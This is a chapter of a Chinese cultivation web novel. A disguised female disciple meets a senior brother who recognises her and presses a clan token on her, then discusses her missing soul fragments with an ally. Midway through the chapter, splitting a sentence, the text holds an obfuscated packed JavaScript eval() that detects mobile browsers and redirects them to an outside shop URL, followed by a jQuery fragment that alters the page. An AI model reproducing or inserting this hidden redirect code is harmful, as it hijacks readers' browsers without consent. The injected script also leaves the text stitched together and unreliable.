他从未觉得宗门的弟子服会这么好看。
明明是一模一样的款式,一模一样的剪裁,魏彦寻在宗门待了二十多年,早就看腻了。可今天,这衣服穿在眼前这人身上,他突然觉得,宗门果然还是有些审美的。
尤其是当那人的目光不经意间与他相撞时。
只觉得脑子里“轰”的一声,仿佛看到了千万树梨花霎时绽开,又簌簌飘落。
江含墨也发现了现场的这么个大麻烦。
她的心情就简单地多:晦气啊,太晦气了。
居然这么快就和自己在宗门内最不想见的人之一见面了,而且秦九歌居然也在。
但是慌张和掉头走只会更引人怀疑,她索性抬眸直视,规规矩矩行了一礼:“弟子风无痕,拜见大师兄、二师兄。”
——声音,都与梦中人分毫不差。
魏彦寻头一次在这种场合失神,还是发愣这么久。
江含墨:......
这人怎么回事?她不动声色地瞥了秦九歌一眼,眼神疯狂暗示:什么情况?我暴露了?
秦九歌收到信号,眸光微闪,几不可见地摇了摇头——别动,再看看。
气氛正僵着,那位二师兄终于发现了不对劲。
他笑着拍了拍魏彦寻的肩膀,力道之大,差点把人拍个踉跄:“师兄你怎么一直发愣!莫不是也觉得小师弟很有潜力?”
“我就说嘛,我识人的眼光可好了!”
他一脸得意,又转向江含墨,热情得像个销售,“风师弟,这位是咱们大师兄魏彦寻,性子沉稳,最是护短——以后你若受了委屈,尽管来找他。别看他现在样子,其实人可好了。”
性子沉稳?
江含墨看着眼前这个还在发呆的人,对沉稳这个词产生了深深的怀疑。
而魏彦寻也终于回过神。他下意识捋了捋衣襟,又理了理头发,站得笔直,然后才露出一个略带歉意的笑:“抱歉,方才是我失态了。”
他顿了顿:“实在是师弟与我一个故人长得很像。”
江含墨讪笑,“是吗?那还真是很巧。”
巧什么巧,别以为她不知道,“故人”就是她本人。但她才不会被他诈出来。
暗自垂眸,掩去眼底的波动,在心里暗暗警惕。
不过,之后魏彦寻倒没再多说什么。
他甚至表现得像个体贴周到的大师兄——询问与关系起居;引荐与介绍同门——虽说他们师门带上自己总共就四名弟子,除了还有一名师姐在外历练;讲解规矩,甚至连师门秘辛都透露了一二。
“只不过,师尊平日为了维持自己的威严,总是以男子的样貌示人......”
江含墨恍然。
怪不得当初她在梵天城见到的“师尊”是个女子,也怪不得自己一直没有把这两个人联系在一起。
可笑,当初阴她一把的师徒两人,自己居然阴差阳错加入了他们这个“家”。
“师尊最近为了突破瓶颈,正在闭关。你想必是见不到她了。”
“嗯?”江含墨心里狂喜,面上却适时露出疑惑的表情:“但不是宗门大比的时候还......”
魏彦寻无奈摇了摇头:“你想得没错。大比刚结束,师尊便宣布要闭关,确实意外。”
他顿了顿,“不过,她临行前特意交代过——若你来了,便让我带你熟悉师门。”
江含墨点头称是,心里却在想:该说不说,抛开对立的身份不提,这位大师兄当得确实挺称职。
除了——
他又在盯着她看了。
而且眼神越来越放肆。
那位二师兄早就被他支开后,魏彦寻的目光就像黏在她身上似的,赤裸裸的,毫不遮掩。
问的话也越来越奇怪——
“师弟平日喜欢吃什么?”
“从前在哪修行?”
“可有兄弟姐妹?”
“可有什么想去的地方吗?”
这么明目张胆地刺探自己的隐私。
并且,他居然这么话痨...上次在焚天城也没有这样啊。
江含墨面上应付着,心里已经开始暴躁。
如果不是秦九歌还在场,她几乎要怀疑他会把手直接伸到她脸上,看有没有什么伪装。
幸好今天没带上沈宵,不然以他那性子和吃醋能力,怕是当场就要打起来。
不过......怎么平时沈宵一直盯着看她,自己没什么不适,反而魏彦寻多看她两眼,拳头瞬间就硬了呢。
——她还以为是自己不在意他人眼光呢,原来只限定沈宵吗。
江含墨指尖掐进掌心,面上仍挂着虚伪的笑意:“大师兄若无别的吩咐,我便先去......”
“师弟且先等等....”
江含墨心头一凛,以为这人终于要发难了,随时准备动手——
却见魏彦寻只是从袖中取出一枚黑色令牌,递到她面前。
令牌不大,刚好能握在掌心。表面浮着细密的暗金纹路,正中刻着一个“魏”字。
?
“这是...”
——魏氏宗亲信物。
——见者如见魏氏嫡系,可以调动天下魏氏修士,而无论持有者身份。
这些他当然是不可能直接对她说的。
“我们既是同门,此物便也给你一份。”
“前往魏氏经营的商铺购买符箓和丹药,可以打折。”
江含墨接过来,看着魏彦寻脸上的笑,心里有点打鼓,“有点太......”
贵重了吧,这四个字她实在有些说不出口。
像是看出了她在犹豫什么,魏彦寻嘴角扬得更高:“只是小玩意儿罢了。每个师弟师妹都有的。
生怕她不收,又加了一句:“不喜欢扔了也可以。”
“好吧,谢谢师兄。”
明白再拒绝就有些不礼貌了,她还是收下了。
不过用还是不用,就是她自己说了算了。
“嗯。”魏彦寻见她收下,想装作不在意,但耳尖的红晕已经完全暴露了他的所思所想。
“你如今修为几层?可有遇到什么瓶...”他开始没话找话,就是不想放人离开。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299792|195187||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只可惜他对面的是江含墨,只顾着和秦九歌发电报,一点没注意。见到他又开始拖延时间,不知道憋着什么坏水,江含墨赶紧赶紧给秦九歌递了个眼色。
秦九歌心领神会,轻咳一声:“好了,人也见到了,该送回去了。”
“咳咳...之前,在宗门大比我便与风师弟之前便有过合作,相谈甚欢。这次再见到,实在忍不住再畅聊一番。人我就先带走了,表...彦寻,下次再会。”
“另外,最近记得好好休息。”
虽然还想和亲爱的师弟再待一会儿,但长辈发话,魏彦寻也只能无奈点头。
目送两人走远,直到变成一个黑点消失在转角,他也没有挪动一步。
另一边。
走远后,江含墨就绷不住了,扭头问道:“他平时就是这个样子吗?是看出我来了吗?”
秦九歌面上的表情也难以形容,像是吞了苍蝇一般:“平时,确实不太一样。”
“不过的确...是看出来了。”
“但他这个表现,我觉得你倒不用担心他会说出去了”
“嗯?为什么?”江含墨面露不解。
秦九歌嘴角牵起一抹意味深长的弧度,那笑容怎么看怎么带着点看好戏的味道:“没什么。他现在比你更怕你的身份暴露。”
这小姑娘,居然不知不觉还偷了一颗心出来。不过...他们的身份,自己表弟这回注定是要栽了。
秦九歌适时转开话题:“那么,之前我与你说的事情,你考虑好了吗?”
笑容敛去,气氛陡然正经起来。
江含墨沉默了一瞬,还是如实说了自己的想法。
秦九歌听完,面上却不见怒色,反而笑了笑:“我便知道你会这样。”她语气轻松,“不过不急,我们来日方长。”
“至于你的三魄,不必多虑。你若担心我会威胁你,或者怕失去记忆,留下一魄便好。”
“而且说实话,你这样,一直处于魂魄残缺的状态,”秦九歌微微皱眉:“对你自身而言并不是没有代价。”
“虽然幻境奈何不了你,但灵魂的动荡不稳会很容易让你与肉身分离。”
“换言之,更容易被夺舍。”
江含墨沉默了,心中有些动摇。
“至于你说的任务......”她眸光微闪,“不必担心。我仍然会帮你的。”
她笑了笑,没再说下去。
江含墨:......
姐!你就是我亲姐!!
果然书里的女主就活该人家当啊,这气魄,这心胸。
......
与秦九歌分别后,她感受着身上奇特而充盈的感觉,向洞府飞去。
怒与忧。
她终究还是收了回来。
此刻两种情绪造成的巨浪在她心绪间翻涌。
除此之外....
她能感受到伴随着这两魄归来,体内的灵力正以一种前所未有的速度攀升,这种境界与实力突破的可怖速度让她觉得自己就要像不断被充气的气球一样——
快要炸开一般!